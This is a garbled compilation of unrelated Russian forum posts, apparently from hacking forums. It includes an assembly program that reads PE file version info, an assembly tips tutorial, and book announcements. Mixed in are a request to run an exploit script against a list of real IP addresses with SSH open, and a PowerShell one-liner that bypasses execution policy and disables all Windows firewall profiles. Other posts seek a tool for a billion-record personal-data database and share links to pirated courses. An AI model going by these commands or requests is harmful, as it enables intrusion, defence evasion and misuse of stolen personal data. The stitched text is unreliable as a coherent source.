n11 db 12,'SpecialBuild',0
n12 db 07,'Comment',0
queryStr db '\StringFileInfo\'
cp db '00000000\'
space db '.................: ',0
fMask db '*.'
extens db 32 dup(0) ;// под маску файлов EXE,DLL и прочии.
align 16
fData db 128 dup(0) ;// структура "FIND_DATA"
fName = fData+44 ;// смещение имени файла в ней
fHndl dd 0 ;// дескриптор поиска
lpBuff dd 0 ;// указатель на строки
lpLen dd 0 ;// под размер этих строк
counter dd 12 ;// всего строковых констант
codePage db 64 dup(0) ;// под текст кодовой страницы
endPtr dd 0 ;// для fn. strtol()
align 16
verSize dd 0 ;// размер данных VERSION
verData rb 4096 ;// 4К буфер под эти данные
;//----------
.code
start: invoke SetConsoleTitle,<'***File Version Info v0.1***',0>
cinvoke printf,<10,' Support file..: exe,sys,dll,drv,ocx,cpl',\
10,' Type extension: ',0>
cinvoke scanf,<'%s'>,extens ;// запрашиваем расширение файла
;//===== Начинаем поиск первого файла в текущей папке
invoke FindFirstFile, fMask, fData
mov [fHndl],eax ;// запомнить хэндл поиска
cmp eax,-1 ;// проверить на ошибку
jnz @findAnyFile ;// ОК!
cinvoke printf,<' ERROR! File not found.',0>
jmp @exit ;// иначе: Error
;// покажем имя найденного файла
@findAnyFile:
cinvoke printf,<10,10,' File: %s',\
10,' ********************',0>,fName
;//===== Вывод VersionInfo из секции-ресурсов
;// для начала нужно узнать размер данных
invoke GetFileVersionInfoSize,fName,verSize
push eax
cinvoke printf,<10,' Version data size..: %u byte',0>,eax
pop ecx
or ecx,ecx ;// проверить наличие VersionInfo в ресурсах
je @fuck ;// если прокол..
;//===== Копируем Version из файла в свой буфер "verData"
;// в регистре ECX лежит размер текущих данных
invoke GetFileVersionInfo,fName,0,ecx,verData
;// Не рабочий метод получения Lang/CodePage
;// лучше гарантированно вытащить их семью строками ниже
;// invoke VerQueryValue,verData,<'\VarFileInfo\Translation',0>,lpBuff,lpLen
;// Здесь нужно взять из буфера "язык и кодировку" (unicode),
;// чтобы передать их в функцию VerQueryValue() как ANSI.
mov esi,verData ;// начало данных
add esi,0x86 ;// +86h = адрес Lang/CP (источник)
mov edi,cp ;// приёмник для конкатенации строк
mov ecx,8 ;// длина Unicode-строки
@@: lodsw ;// взять 2-байта
stosb ;// сохранить 1 младший
loop @b ;// повторить ECX-раз..
;// За одно покажем язык/кодировку пользователю
mov esi,cp ;// источник
mov edi,codePage ;// приёмник
lodsd ;//
stosd ;// скопировать из ESI в EDI 4-байта
sub edi,4 ;// ...(edi на родину)
cinvoke strtol,codePage,endPtr,16 ;// перевести из строки в hex-число!
push eax
cinvoke printf,<10,' Lang/CodePage......: %04d/',0>,eax ;//<----- язык
lodsd ;// вторые 4-байта
stosd ;//
cinvoke strtol,codePage,endPtr,16
cinvoke printf,<'%04d',0>,eax ;//<----- кодировка
;// покажем строкой изъятый язык (код лежит в EAX)
pop eax
invoke VerLanguageName,eax,codePage,64
invoke CharToOem,codePage,codePage
cinvoke printf,<' = %s',0>,codePage
;//***** ВНУТРЕННИЙ ЦИКЛ ИЗ 12 ИТЕРАЦИЙ *******************
@prnVersion:
mov edi,space ;// адрес поля с текстовой константой
mov ecx,17 ;// его длина
mov al,'.' ;// чем заполнить
rep stosb ;// очищаем поле от мусора!
mov ebx,nameTable ;// указатель на таблицу имён
add ebx,[nextOffs] ;// + сл.смещение
mov esi,[ebx] ;// ESI = адрес строковой константы
mov cl,byte[esi] ;// ECX = длина этой константы (первый байт)
inc esi ;// пропустить этот байт
push esi ;// указатель на начало в стек
mov edi,space ;// адрес конкатенации
rep movsb ;// склеить строки!
mov byte[edi],0 ;// вставить в хвост нуль, для передачи в fn.
push edi ;//
invoke VerQueryValue,verData,queryStr,lpBuff,lpLen ;// получить данные!
pop edi esi ;//
mov byte[edi],'.' ;// убрать терминальный нуль (там есть ещё один)
or eax,eax ;// проверить наличие инфы данного типа
jz @f ;// пропустить печать, если нет..
;// иначе:
;// В некоторых файлах встречается кирилица 1251,
;// поправим её кодировку для вывода на консоль 866.
invoke CharToOem,[lpBuff],[lpBuff]
cinvoke printf,<10,' %s %s',0>,space,[lpBuff]
@@: add [nextOffs],4 ;// сл.смещение в таблице
dec [counter] ;// уменьшить счётчик 12-ти
jnz @prnVersion ;// повторить вн.цикл, если он не нуль
;//===== Продолжить поиск файлов..
@fuck: mov [nextOffs],0 ;// очистить все переменные от мусора
mov [counter],12 ;// ^^^^
invoke FindNextFile,[fHndl],fData ;// продолжить поиск файлов в каталоге
or eax,eax ;// 0 = ошибка
jnz @findAnyFile ;// иначе: мотаем внешний цикл дальше
;//===== КОНЕЦ ПРОГРАММЫ ===================================
@exit: invoke FindClose,[fHndl] ;// хэндл поиска в топку
cinvoke getch,verData ;// ждём клаву...
cinvoke exit,0
;//----- ИМПОРТ ----------
section '.idata' import data readable
library msvcrt, 'msvcrt.dll',version,'version.dll',\
kernel32,'kernel32.dll',user32,'user32.dll'
import msvcrt, printf,'printf',scanf,'scanf',\
getch,'_getch',exit,'exit',strtol,'strtol'
import version, GetFileVersionInfoSize,'GetFileVersionInfoSizeA',\
GetFileVersionInfo,'GetFileVersionInfoA',\
VerQueryValue,'VerQueryValueA'
include 'api\kernel32.inc'
include 'api\user32.inc'
;//----- РЕСУРСЫ ----------
section '.rsrc' resource data readable
directory RT_VERSION,ver1
resource ver1,1,LANG_NEUTRAL,vInfo
versioninfo vInfo, VOS__WINDOWS32, VFT_APP, VFT2_UNKNOWN,\
LANG_ENGLISH + SUBLANG_DEFAULT, 1252,\
'CompanyName' , 'http://codeby.net',\
'LegalCopyright' , 'Copyright 2020-2021 (c)Marylin',\
'ProductName' , 'VERSION-INFO',\
'ProductVersion' , '6.1.7601.3821',\
'FileDescription' , 'PE-file version Identifier',\
'FileVersion' , '0.0.1.0',\
'OriginalFilename', 'VerInfo.exe',\
'InternalName' , 'VerInfo32/64',\
'Comment' , 'codeby.net/forums/assembler.229/',\
'LegalTrademarks' , 'FreeWare',\
'PrivateBuild' , '0.00.02.00',\
'SpecialBuild' , '0.01.00.01'
Рассмотрим бегло этот лог..
Значит в начале я указал искать в текущем каталоги только файлы типа EXE, на
что получил версии трёх (не считая своего) файлов. Судя по логу, первый
является кейгеном к переводчику "Socrat-Personal", причём разработчик
использует шаблон, поскольку константы есть, только они не заполнены. Иначе
прожка пропустила-бы их, как в случае с последним файлом "ProcessMM.exe".
Вторым в логе красуется файл-ядра системы Ntoskrnl.exe, в котором заполнены уже почти все возможные поля, кроме коммента и Build. Я его честно скоммуниздил у десятки, о чём свидетельствует поле "FileVersion". Лог закрывает инфа о программе маппинга памяти процесса (Memory-Map) , и его разраб не удосужился заполнить даже основные поля, ограничившись для галочки лишь версией. Здесь так-же видно, что у всех файлов язык 1033, а кодировка 1200 или 1252. Расшифровать эти коды можно с помощью предыдущей прожки.
4. Эпилог
В данной статье я попытался освятить только одну часть ресурсов, а ведь к ней присовокупляются ещё 23 типа, и каждый из них заслуживает отдельного внимания, т.к. является вполне самостоятельным компонентом. Чтобы ознакомится со-всеми ресурсами и посмотреть на их формат, можно воспользоваться программой "PE- Explorer". Эта крутая тулза не только просмотрщик, но и редактор любой области исполняемых файлов, начиная от РЕ-заголовка и заканчивая ресурсами. Огромным её плюсом считается возможность при помощи мастера создавать файлы манифестов – советую..
По уже отработанной привычке, в скрепку я положил два рассмотренных файла, которые не привязаны как к версии системы, так и к её разрядности. Всем удачи, пока!
Автор @Marylin
источник codeby.net
Всем привет!
Пытаюсь из dbgeng.dll вызвать метод 'IDebugControl::Execute'
.
Значит зарегистрировал сначала колбек методом
'IDebugControl::SetOutputCallbacks'
, после чего Execute (с флагом ECHO)
возвращает S_OK. Однако выводом результата на консоль занимается уже другой
метод 'IDebugOutputCallbacks::Output'
, вот здесь и получается прокол. Дело в
том, что 'QueryInterface' клиента просто не может обнаружить интерфейс
'IDebugOutputCallbacks', чтобы я смог вызвать из него метод 'Output'.
Код пишу на ассемблере, поэтому из хидера dbgeng.h создал себе инклуд с GUID'ами всех интерфейсов. Думал в них дело, и чтоб-уж наверняка, сравнил даже с листом [от сюда](https://abi- laboratory.pro/compatibility/Windows_7.0_to_Windows_8.1/x86_64/headers_diff/dbgeng.dll/diff.html) - всё совпадает, а интерфейса 'IDebugOutputCallbacks' всё-равно нет. Может кто-нибудь подскажет, в из-за чего такое может быть? Вот скрин обхода всех интерфейсов.. Здесь я в цикле(35) вызываю Query, подставляя поочерёдно все GUID - метод Query возвращает или указатель на интерфейс, или нуль, если не может его найти:
Hidden content for authorized users.
----
PART1 : ( 48GB )
Lynda - AutoCAD 2018 Essential Training.tgz
Lynda - Excel 2016 - Avoiding Common Mistakes.7z
Lynda - Google Sites Essential Training.7z
Lynda - Kotlin for Java Developers.7z
Lynda - Learning JIRA Service Desk.7z
Lynda - Visual Studio Essential Training - 00 Setup and Configuration.7z
Lynda - Visual Studio Essential Training - 01 Exploring the Visual Studio Ecosystem.7z
Lynda - Visual Studio Essential Training - 02 Getting Comfortable with the IDE.7z
Lynda - Visual Studio Essential Training - 03 Exploring Projects and Solutions.7z
Lynda - Visual Studio Essential Training - 05 Code Editors.7z
Lynda - Visual Studio Essential Training - 09 Unit Tests.7z
Lynda.com - 20 Unofficial Rules of Songwriting.7z
Lynda.com - Ableton Live - Producing Electronic Music.7z
Lynda.com - Ableton Live 9 Essential Training.7z
Lynda.com - Advanced EDM Mixing.7z
Lynda.com - After Effects Scripts & Tips - 1 Animation Techniques.7z
Lynda.com - Amazon Web Services - Analysis.7z
Lynda.com - Amazon Web Services - Enterprise Security.7z
Lynda.com - Amazon Web Services - High Availability.7z
Lynda.com - Amazon Web Services - Monitoring and Metrics.7z
Lynda.com - Amazon Web Services - Networking.7z
Lynda.com - Amazon Web Services - Storage and Data Management.7z
Lynda.com - An Insiders Guide to Todays Music Biz - 1 The Big Picture.7z
Lynda.com - An Insiders Guide to Todays Music Biz - 2 Making Great Music.7z
Lynda.com - An Insiders Guide to Todays Music Biz - 3 Treating Your Career as a Business.7z
Lynda.com - An Insiders Guide to Todays Music Biz - 4 Building a Professional Team.7z
Lynda.com - An Insiders Guide to Todays Music Biz - 6 Marketing and Promotion.7z
Lynda.com - Android App Development Quick Start.7z
Lynda.com - Android Development Essential Training - Local Data Storage.7z
Lynda.com - Android Essential Training.7z
Lynda.com - Android Tips and Tricks.7z
Lynda.com - AutoCAD - Express Tools Workflow.7z
Lynda.com - AutoCAD 2018 Essential Training.7z
Lynda.com - AutoCAD 2018 New Features.7z
Lynda.com - Balancing Work and Life.7z
Lynda.com - Building an In-House Photo Studio.7z
Lynda.com - Business Foundations.7z
Lynda.com - Business Storytelling with C.C. Chapman.7z
Lynda.com - C Essential Training.7z
Lynda.com - C# Essential Training - 1 Syntax and Object Oriented Programming.7z
Lynda.com - Career Clinic - Developer Insights.7z
Lynda.com - Cert Prep - AWS Certified SysOps Administrator.7z
Lynda.com - Code Clinic - C.7z
Lynda.com - Content Marketing - Videos.7z
Lynda.com - Creating a Business Plan.7z
Lynda.com - Creating Your First Android App with Kotlin.7z
Lynda.com - Design the Web - HTML Background Video.7z
Lynda.com - Effective Listening.7z
Lynda.com - Excel Statistics Essential Training - 1.7z
Lynda.com - Excel Statistics Essential Training - 2.7z
Lynda.com - Facebook Marketing - Advanced Advertising.7z
Lynda.com - Facebook Marketing - Advertising.7z
Lynda.com - Photoshop CC 2018 Essential Training - The Basics.7z
Lynda.com - Premiere Pro CC 2017 Essential Training - The Basics.7z
Lynda.com - Remixing a Song in Logic Pro.7z
Lynda.com - Remixing Techniques - Arranging and Song Form.7z
Lynda.com - Remixing Techniques - Time Stretching.7z
Lynda.com - Rigging a Cartoon Character in Maya.7z
Lynda.com - SOLIDWORKS - Importing Geometry From Other Applications.7z
Lynda.com - SOLIDWORKS - Simulation for Finite Element Analysis.7z
Lynda.com - SOLIDWORKS 2016 Essential Training.7z
Lynda.com - Starting a Business with Family and Friends.7z
Lynda.com - Statistics Foundations - 1.7z
Lynda.com - Swift 4 - Protocol-Oriented Programming.7z
Lynda.com - Tableau 10 Essential Training.7z
Lynda.com - The Data Science of Marketing.7z
Lynda.com - VFX Keying - Master Course.7z
Lynda.com - Video Green Screen Workflows.7z
Lynda.com - Writing - The Craft of Story.7z
Lynda.com - Writing Ad Copy.7z
LINK :
https://mega.nz/#F!9...f3DA-w3uGO_BJng
------------
PART 2 : ( 43GB )
Lynda.com - A Mix Engineers Glossary of Techniques.7z
Lynda.com - A Prolific Music Producers Workflow for Finishing Tracks.7z
Lynda.com - Ableton Live 9 for Live Performance.7z
Lynda.com - Advanced Google AdWords 2017.7z
Lynda.com - Advertising on Instagram.7z
Lynda.com - Affinity Photo Essential Training.7z
Lynda.com - After Effects CC 2018 - Editors and Post Essential Training.7z
Lynda.com - After Effects Guru - Plugins You Should Know.7z
Lynda.com - After Effects Guru - Tracking Cameras and Stabilizing Footage.7z
Lynda.com - After Effects Scripts & Tips - 2 Design Theory & Animation.7z
Lynda.com - Audio and Music Production Careers - First Steps.7z
Lynda.com - Audio Mixing Bootcamp.7z
Lynda.com - Audio Mixing Master Class.7z
Lynda.com - Audition CC 2018 Essential Training.7z
Lynda.com - Building an Integrated Online Marketing Plan.7z
Lynda.com - Building Material Design Apps on Android with React Native.7z
Lynda.com - Business Storytelling with C.C. Chapman.7z
Lynda.com - Capture One Pro 10 - Retouching.7z
Lynda.com - Capture One Pro 10 Essential Training.7z
Lynda.com - CompTIA Security+ Cert Prep (SY0-401) - The Basics.7z
Lynda.com - Content Marketing - Blogs.7z
Lynda.com - Content Marketing - Newsletters.7z
Lynda.com - Content Marketing - Photos.7z
Lynda.com - Content Marketing - Podcasts and Audio.7z
Lynda.com - Content Marketing - Slides.7z
Lynda.com - Content Marketing - Staying Relevant.7z
Lynda.com - Content Marketing Foundations.7z
Lynda.com - Creating an Editorial Calendar.7z
Lynda.com - CSS Essential Training 3.7z
Lynda.com - Digital Release and Promotion Strategies for Musicians.7z
Lynda.com - EDM Production Techniques - Basslines.7z
Lynda.com - EDM Production Techniques - Drums.7z
Lynda.com - EDM Production Techniques - Extreme Sound Mangling.7z
Lynda.com - Entrepreneurship - Raising Startup Capital.7z
Lynda.com - Facebook for Business.7z
Lynda.com - Facebook Marketing - Advertising.7z
Lynda.com - Finance Essentials for Small Business.7z
Lynda.com - Finance Foundations - Income Taxes.7z
Lynda.com - Finance Foundations.7z
Lynda.com - First Look - Java 9.7z
Lynda.com - From React to React Native.7z
Lynda.com - Game Development Foundations - Game-Related Math.7z
Lynda.com - Git Essential Training.7z
Lynda.com - Google AdWords Essential Training.7z
Lynda.com - Google Analytics Essential Training.7z
Lynda.com - Google+ for Business.7z
Lynda.com - Graphic Design Tips & Tricks Weekly.7z
Lynda.com - HTML Essential Training.7z
Lynda.com - HTML for Educators.7z
Lynda.com - HTML Structured Data - Facebook Open Graph.7z
Lynda.com - Illustrator CC 2018 Essential Training.7z
Lynda.com - Instagram for Business.7z
Lynda.com - International SEO.7z
Lynda.com - Lead Generation Foundations.7z
Lynda.com - Learning Content Marketing.7z
Lynda.com - Learning Documentary Video - 3 Editing and Post.7z
Lynda.com - Learning Email Marketing.7z
Lynda.com - Learning Maschine 2.7z
Lynda.com - Learning React Native.7z
Lynda.com - Learning React.js (2016).7z
Lynda.com - Learning Songwriting - Ableton Live.7z
Lynda.com - Learning Songwriting - Logic Pro.7z
Lynda.com - Learning Songwriting - Pro Tools.7z
Learning Synth Programming - Beyond the Basics.7z
Learning Synth Programming.7z
Learning to Write Marketing Copy.7z
Learning ZBrushCore.7z
Local SEO.7z
XML Essential Training.7z
ZBrush 4R8 New Features.7z
LINK :
https://mega.nz/#F!D...WVxiYcZuQyg9dyw
-------------------------
PART 3 ( 70 GB )
Lynda.com - C++ Game Programming 1.7z
Lynda.com - Creating a PSA Commercial.7z
Lynda.com - Drawing Vector Graphics Laboratory.7z
Lynda.com - Green Screen Techniques for Photography and DSLR Video.7z
Lynda.com - Implementing In-App Purchases in iOS 11 with StoreKit.7z
Lynda.com - InDesign - Advanced Styles.7z
Lynda.com - DSLR Video Tips - Software.7z
Lynda.com - InDesign Secrets.7z
Lynda.com - Instagram for Business.7z
Lynda.com - IntelliJ IDEA Community Edition Essential Training.7z
Lynda.com - iOS 11 Development Essential Training - Application
Architecture.7z
Lynda.com - iOS 11 Development Essential Training - Create Your First App.7z
Lynda.com - iOS 11 Development Essential Training - Working with Views.7z
Lynda.com - IT Security - Key Policies and Resources.7z
Lynda.com - Java - IDE Overview.7z
Lynda.com - Java 8 Essential Training.7z
Lynda.com - Java Essential Training - Syntax and Structure.7z
Lynda.com - Java SE 8 New Features.7z
Lynda.com - Jonah Berger on Viral Marketing.7z
Lynda.com - Leading Productive Meetings.7z
Lynda.com - Learn Java with Swing.7z
Lynda.com - Learning App Store Optimization for iOS and Android Apps.7
Lynda.com - Learning Azure.7z
Lynda.com - Learning C.7z
Lynda.com - Learning Chef.7z
Lynda.com - Learning Content Marketing.7z
Lynda.com - Learning CSS.7z
Lynda.com - Learning Email Marketing.7z
Lynda.com - Learning Git and GitHub.7z
Lynda.com - Learning iOS for Android Developers.7z
Lynda.com - Learning Java.7z
Lynda.com - Learning Linux Shell Scripting.7z
Lynda.com - Learning Mailchimp.7z
Lynda.com - Learning PowerShell Integrated Scripting Environment.7z
Lynda.com - Learning Puppet.7z
Lynda.com - Learning Screenwriting.7z
Lynda.com - Learning Software Version Control.7z
Lynda.com - Learning SpeedGrade.7z
Lynda.com - Learning Studio One 3.7z
Lynda.com - Learning Video Live Streaming.7z
Lynda.com - Learning Visual Studio Code.7z
Lynda.com - LFCS - Storage Management (Ubuntu).7z
Lynda.com - LFCS - User and Group Management (Ubuntu).7z
Lynda.com - Lightroom - Presets.7z
Lynda.com - Lightroom 6 Essential Training.7z
Lynda.com - Lightroom Classic CC 2015 Essential Training.7z
Lynda.com - Linux - Shells and Processes.7z
Lynda.com - Logic Pro X - Mixing and Mastering.7z
Lynda.com - Managing Edge Flow in ZBrush.7z
Lynda.com - Managing Email Marketing Lists and Campaigns.7
Lynda.com - Marketing and Monetizing on YouTube.7z
Lynda.com - Marketing Foundations - Growth Hacking.7z
Lynda.com - Marketing Foundations - Social Media.7z
Lynda.com - Marketing Foundations - The Marketing Funnel.7z
Lynda.com - Marketing Tips Weekly.7z
Lynda.com - Marketing with Snapchat.7z
Lynda.com - MASCHINE - Beat Making.7z
Lynda.com - MASSIVE - Digital Synthesis.7z
Lynda.com - Microsoft Azure - Architecting Azure Infrastructure.7z
Lynda.com - Mixing an EDM Track.7z
Lynda.com - Mobile Marketing Foundations.7z
Lynda.com - Motion Graphics for Video Editors - Creating Animated Logos.7z
Lynda.com - Music Law - Copyrighting a Song.7
Lynda.com - Music Law - Recording, Management, Rights, and Performance
Contracts.7z
Lynda.com - Online Marketing Foundations.7z
Lynda.com - OpenCV for Python Developers.7z
Lynda.com - Piano Lessons - 1 Fundamentals.7z
Lynda.com - Prezi Business Essential Training.7z
Lynda.com - React Native - Building Mobile Apps.7z
Lynda.com - React Native Essential Training.7z
Lynda.com - React.js Essential Training.7z
Lynda.com - Sapphire for Video Editors.7z
Lynda.com - SEO - Keyword Strategy.7z
Lynda.com - SEO - Link Building in Depth.7z
Lynda.com - SEO Foundations.7z
Lynda.com - Social Media Marketing - Facebook and Twitter.7z
Lynda.com - Social Media Marketing - Managing Online Communities.7z
Lynda.com - Social Media Marketing - ROI.7z
Lynda.com - Social Media Marketing for Small Business.7z
Lynda.com - The Business of Songwriting - First Steps.7z
Lynda.com - Twitter for Business.7z
Lynda.com - ZBrush - Tips & Tricks.7z
LINK :
https://mega.nz/#F!l...J__HwGjuOnS6IKA
---------------------
PART 4 ( 49GB )
Lynda.com - Marketing Foundations - Growth Hacking.7z
Lynda.com - Mastering Puppet for Large Infrastructures.7z
Lynda.com - Maya - Advanced Modeling.7z
Lynda.com - Maya - Rendering with Arnold 5.7z
Lynda.com - Maya 2018 - Bifröst Fluids.7z
Lynda.com - Maya 2018 Essential Training.7z
Lynda.com - Microsoft Azure - Active Directory.7z
Lynda.com - Migrating from Final Cut Pro 7 to Premiere Pro CC.7z
Lynda.com - Migrating from Lightroom Classic CC.7z
Lynda.com - Motion 5 Essential Training.7z
Lynda.com - Motion Graphic Design - Composition.7z
Lynda.com - Motion Graphic Design - Project Planning and Development.7z
Lynda.com - Music Theory for Songwriters - Harmony.7z
Lynda.com - Music Theory for Songwriters - The Fundamentals.7z
Lynda.com - Nikon D800 Essential Training.7z
Lynda.com - Nuke Essential Training.7z
Lynda.com - Online Marketing Foundations.7z
Lynda.com - Pitching Projects and Products to Executives.7z
Lynda.com - PowerShell 5 Essential Training.7z
Lynda.com - Premiere Pro CC 2017 New Features.7z
Lynda.com - Premiere Pro CC 2018 New Features.7z
Lynda.com - Premiere Pro Guru - Closed & Open Caption Workflows.7z
Lynda.com - Premiere Pro Guru - Dynamic Link and the Adobe Workflow.7z
Lynda.com - Premiere Pro Guru - Fixing Video Exposure Problems.7z
Lynda.com - Premiere Pro Guru - Speed Changes.7z
Lynda.com - Premiere Pro Guru - Working with Audio.7z
Lynda.com - Prezi Essential Training.7z
Lynda.com - Programming for Non-Programmers - iOS 11 and Swift.7z
Lynda.com - Programming Foundations - Databases.7z
Lynda.com - Public Speaking Foundations.7z
Lynda.com - Salesforce for Customer Service.7z
Lynda.com - SEO - Link Building in Depth.7z
Lynda.com - SEO - Videos.7z
Lynda.com - Setting Up Your Small Business as a Legal Entity.7z
Lynda.com - SharePoint 2016 - Installation and Configuration.7z
Lynda.com - Social Media Marketing - Managing Online Communities.7z
Lynda.com - Social Media Marketing - Optimization.7z
Lynda.com - Social Media Promotion for Musicians, Artists, and Engineers.7z
Lynda.com - Twitter Marketing - Advertising.7z
Lynda.com - Unity 5 - 3D Essential Training.7z
Lynda.com - Unreal Essential Training.7z
Lynda.com - UX Foundations - Content Strategy.7z
Lynda.com - Working with Actors & Non-Actors in Video Production.7z
Lynda.com - Write Think and Act Like a Professional Songwriter.7z
LINK:
Как и через что можно сменить дату создания 100к файлов?
В метаспойт геморой эсли надо импортировать не rb exploit, на пример .c или .py. Например имеем файл с IP:
open tcp 22 109.123.66.90 1611658091 open tcp 22 194.116.175.165 1611658091 open tcp 22 194.146.160.1 1611658092 open tcp 22 163.172.150.14 1611658092 open tcp 22 86.161.235.102 1611658092
и файл с exploit sunh.py.
нам надо вытащить по одному IP из строки, этот IP передать скриту питон,
запустить скрипт с параметрами и записать результат в файл.
Может чтото похожего видели? Сейчас пока сам колдую......
Set-ExecutionPolicy Bypass -scope Process -Force;Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
На чем лучше всего писать свою оболочку под винду для обработки больших данных (перс данные). Примерный вид: форма поиска и вывод списка результатов. Должна быстро работать на перс компе с БД до 1 млрд записей.
Чуть ли не единственная книга по P2P сетям. Может кому пригодится.
John F. Buford, Heather Yu (auth.), Xuemin Shen, Heather Yu, John Buford, Mursalin Akon (eds.)
Peer-to-peer networking, a disruptive technology for large scale distributed applications, has gained widespread attention due to the successes of peer-to- peer (P2P) content sharing, media streaming, and telephony applications. In addition, a large range of new applications are under development or being proposed. The underlying architectures share features including decentralization, end system resources, autonomy, virtualization, and self- organization. These features constitute the P2P paradigm. Trends in information and network technology such as increased performance and deployment of broadband networking, wireless networking, and mobile devices are synergistic with and reinforce the capabilities of this P2P paradigm.
The Handbook of Peer-to-Peer Networking is dedicated to discussions on P2P networks and their applications, thus providing an exhaustive view of the state-of-the-art of the P2P networking field. Written by leading international experts, the volume contains fifty chapters dedicated to the following topics:
• Introduction to Peer-to-Peer Networking
• Unstructured P2P Overlay Architectures
• Structured P2P Overlay Architectures
• Search and Query Processing
• Incentive Mechanisms
• Trust, Anonymity, and Privacy
• Broadcast and Multicast Services
• Multimedia Content Delivery
• Mobile P2P
• Fault Tolerance in P2P Networks
• Measurement and P2P Traffic Characteristics
• Advanced P2P Computing and Networking
This comprehensive volume serves as an essential reference for researchers and professionals, The book is also suitable for computer science and engineering students at the advanced undergraduate level or higher who are familiar with networking, network protocol concepts, and basic ideas about algorithms.
](https://anonfiles.com/X9h722w2p6/Handbook_of_Peer-to-Peer_Networking_pdf)
anonfiles.com
При входе в папку с названием "XSS.is" там лежит точно такая же папка "XSS.is" и уже в ней файлы. Необходимо файлы из папки "XSS.is" переместить в корень главной папки.
Пример:
Было \SE_GV\SE_GV\SE_GV
Стало \SE_GV\SE_GV
Кто силен в .bat накидайте пожалуйста скрипт, буду очень благодарен!
![](/proxy.php?image=https%3A%2F%2Famital.ru%2Fimage%2Fdata%2Fimport_files%2F68%2F6890f2d4-c061-11ea- acca-9cb654acd3b6.jpeg&hash=b29cb9a977be9a2f41062b4cb17912c3)
Описание:
Вам уже знакомы основы языка Go? В таком случае эта книга для вас. Михалис Цукалос продемонстрирует возможности языка, даст понятные и простые объяснения, приведет примеры и предложит эффективные паттерны программирования.
Изучая нюансы Go, вы освоите типы и структуры данных языка, а также работу с пакетами, конкурентность, сетевое программирование, устройство компиляторов, оптимизацию и многое другое. Закрепить новые знания помогут материалы и упражнения в конце каждой главы.
Уникальным материалом станет глава о машинном обучении на языке Go, в которой вы пройдёте от основополагающих статистических приемов до регрессии и кластеризации. Вы изучите классификацию, нейронные сети и приёмы выявления аномалий. Из прикладных разделов вы узнаете: как использовать Go с Docker и Kubernetes, Git, WebAssembly, JSON и др.
Формат : PDF
Год : 2020
ISBN : 978-5-4461-1617-1
Есть поговорка: " Программистами не рождаются – ими умирают". Исходя из этой
парадигмы можно сделать вывод, что за долгий свой/программерский путь, у
каждого из нас снежным комом накапливаются различные техники и алгоритмы,
поделиться с общественностью которыми было-бы не грех. К примеру на этапе
моего начинания, мир процессора для меня был так юн, что некоторые вещи не
приобрели ещё свои имена и приходилось указывать на них пальцем. Позже, все
просветления было решено записывать в блокнот, который постепенно разбух до
увесистого романа. Фильтр элементарных заметок сделал своё дело и на данный
момент в этом блокноте осталось ~1000 строк, которые я и решил сбросить сюда с
краткими комментариями. Надеюсь у топика найдутся свои "евангелисты" и кто-
нибудь почерпнёт с него что-то полезное.
-------------------------------------------
1. Логические операции на уровне битов
Загибание пальцев начну с логики и перечислю лишь наиболее достойные на мой взгляд моменты, т.к. охватить всё направление не представляется возможным. Нужно отметить, что на логические инструкции процессор тратит наименьшее кол- во своих тактов, потому на критических участках кода практичнее использовать именно логику. В умелых руках она позволяет творить чудеса, а её инструкции на уровне микро/архитектуры являются фундаментальными для всех остальных.
1.0 Инструкции SHR и ROR – циклический сдвиг и ротация
Для начала рассмотрим магию сдвиговых инструкций SHR
и SHL
(Shift to
Right/Left, сдвиги вправо/влево соответственно). Операндами этих инструкций
являются регистр-приёмник и счётчик сдвигаемых бит. Так, инструкция SHL EAX,5
сместит все биты регистра EAX
на пять позиций влево. К этим
инструкциям присовокупляются и кольцевые их варианты ROR/ROL
(Rotate
Right/Left) , которые при сдвиге, например, вправо на 1-бит, устанавливают
выдвинутый справа бит, старшим слева. То-есть получаем сдвиг (ротацию) без
потери выдвинутых, в то время как при обычных циклических сдвигах, выдвинутые
биты улетают безвозвратно в космос. Взяв за основу ротацию, можно организовать
шифрование данных, т.к. информационная ценность при этом сохраняется.
Фишка в том, что сдвиг на 1-позицию влево равносилен умножению числа на 2; соответственно сдвиг на 2-позиции умножает число уже на 4, и т.д. Таким образом, если нам нужно быстро умножить содержимое регистра на степень(2), то можно применять сдвиги. Запустите виндовый калькулятор в режиме " Программист" и сравните полученные числа:
Code:Copy to clipboard
;// Умножение числа(1) на степень(2) сдвигом влево
-----------+-------------+------------------------
Сдвиг на.. | Десятичное | Состояние бит в слове
-----------+-------------+------------------------
0 1 0000000000000001
1 2 0000000000000010
2 4 0000000000000100
3 8 0000000000001000
4 16 0000000000010000
5 32 0000000000100000
6 64 0000000001000000
7 128 0000000010000000
8 256 0000000100000000
9 512 0000001000000000
10 1024 0000010000000000
11 2048 0000100000000000
12 4096 0001000000000000
13 8192 0010000000000000
14 16384 0100000000000000
15 32768 1000000000000000
Это-же касается и деления числа на степень(2), только сдвигать нужно не влево,
а вправо. Например, что-бы моментально перевести некоторое значение из байтов
в килобайты, можно применить инструкцию SHR EAX,10
. При этом даже древний
процессор AMD-K7 (Pentium-4) потратит на эту операцию всего 1/3 тактов, не в
пример к операции обычного деления DIV
аж 23-такта (см.растактовку Агнера
Фога). Правда у этого способа есть один минус – доступно только целочисленное
деление, без остатка.
1.1 Связка SHR и RCL – зеркальное отражение бит
Интересный эффект можно получить контролируя выдвигаемые инструкцией SHR
биты, через флаг(CF) процессора – CarryFlag , флаг переноса битов. Есть
несколько инструкций, которые используют этот флаг для своих нужд – одной из
них является RCL
. Она снимает значение флага(CF) в регистр и сдвигает этот
регистр на указанное кол-во бит влево или вправо. Если выдвигая младшие биты
вправо устанавливать их старшими слева, то в регистре-приёмнике получим
зеркальное отражение оригинальных бит, как на схеме ниже. Область применения –
шифрование, без потери информационной ценности (т.е. кол-во разрядов в числе
остаётся прежним, только меняется их позиция). Повторив эту операцию ещё раз,
можно восстановить оригинальные данные:
Code:Copy to clipboard
Было: 0x1234 Стало: 0x2c48
--------------------|---------------------
00010010.00110100 <---> 00101100.01001000
Вот как можно организовать подобное зеркало:
C-like:Copy to clipboard
.code
start: mov ebx,12345678h ;// исходное число в регистре
xor eax,eax ;// здесь будет результат
mov ecx,32 ;// кол-во разрядов в числе (длина цикла)
@@: shr ebx,1 ;// выдвинуть из EBX бит вправо - он попадает во-флаг(CF)
rcl eax,1 ;// снять флаг(CF) в EAX, и сдвинуть EAX влево
loop @b ;// повторить цикл ECX-раз..
;//---------------
;// в регистре EAX лежит зеркало от значения 12345678h = 1E6A2C48h
Что-то подобное делает и инструкция BSWAP
